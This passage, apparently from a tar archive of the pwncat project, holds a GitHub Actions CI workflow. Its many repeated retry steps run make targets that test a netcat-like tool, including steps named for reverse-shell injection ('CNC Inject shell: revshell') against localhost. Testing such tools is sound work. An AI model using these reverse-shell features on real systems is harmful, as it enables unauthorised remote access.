__test-cnc--inject_shell-revshelll-single_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed env: RETRIES: 2 pwncat-0.1.2/.github/workflows/test-x64-ubuntu-3.8.yml000066400000000000000000001215141414025024700223550ustar00rootroot00000000000000--- # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions # https://github.com/actions/python-versions/blob/master/versions-manifest.json name: ubu-3.8 on: pull_request: push: branches: - master tags: jobs: test: runs-on: ubuntu-latest strategy: fail-fast: False name: "[x64] [ubuntu] python-3.8" steps: # ------------------------------------------------------------ # Setup # ------------------------------------------------------------ - name: Checkout repository uses: actions/checkout@v2 - name: Set up Python uses: actions/setup-python@v2 with: python-version: 3.8 architecture: x64 - name: Set up PHP uses: shivammathur/setup-php@v2 with: php-version: '7.4' ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash run: | if [ `uname` = "Linux" ]; then echo "\$ cat /etc/hosts" cat /etc/hosts echo ( echo "127.0.0.1 localhost"; echo "::1 localhost ip6-localhost ip6-loopback"; ) | sudo tee /etc/hosts echo echo "\$ cat /etc/hosts" cat /etc/hosts fi - name: Display Bash version shell: bash run: | bash --version whereis bash || true which bash || true - name: Display Python version shell: bash run: | python -c "import sys; print(sys.version)" whereis python || true which python || true - name: Display PHP version shell: bash run: | php --version whereis php || true which php || true - name: Resolve localhost shell: bash run: | echo echo "\$ host localost" host localhost || true echo echo "\$ python -c 'import socket;print(socket.gethostbyname(\"localhost\"))'" python -c 'import socket;print(socket.gethostbyname("localhost"))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET6))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET6))' || true # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 102" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-102 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (Server) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Server quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 104" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-104 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Modes # ------------------------------------------------------------ - name: "[MODES] Local port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--local_forward env: RETRIES: 5 - name: "[MODES] Remote port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--remote_forward env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] -n/--nodns" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--nodns env: RETRIES: 5 - name: "[OPTIONS] -C/--crlf" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--crlf env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (keep open) # ------------------------------------------------------------ - name: "[OPTIONS] --keep-open 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-000 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-001 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-002 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-100 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-101 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-200 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-201 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 202" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-202 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (reconn) # ------------------------------------------------------------ - name: "[OPTIONS] --reconn 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-000 env: RETRIES: 5 - name: "[OPTIONS] --reconn 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-001 env: RETRIES: 5 - name: "[OPTIONS] --reconn 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-002 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] --ping-intvl" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_intvl env: RETRIES: 5 - name: "[OPTIONS] --ping-word" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_word env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (File Transfer) # ------------------------------------------------------------ - name: "[BEHAVIOUR] File Transfer: send normal" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_normal env: RETRIES: 5 - name: "[BEHAVIOUR] File Transfer: send on eof" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_on_eof env: RETRIES: 5 # ------------------------------------------------------------ # Tests: CNC Self-inject # ------------------------------------------------------------ - name: "[CNC] Inject shell: pwncat as rev shell" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do 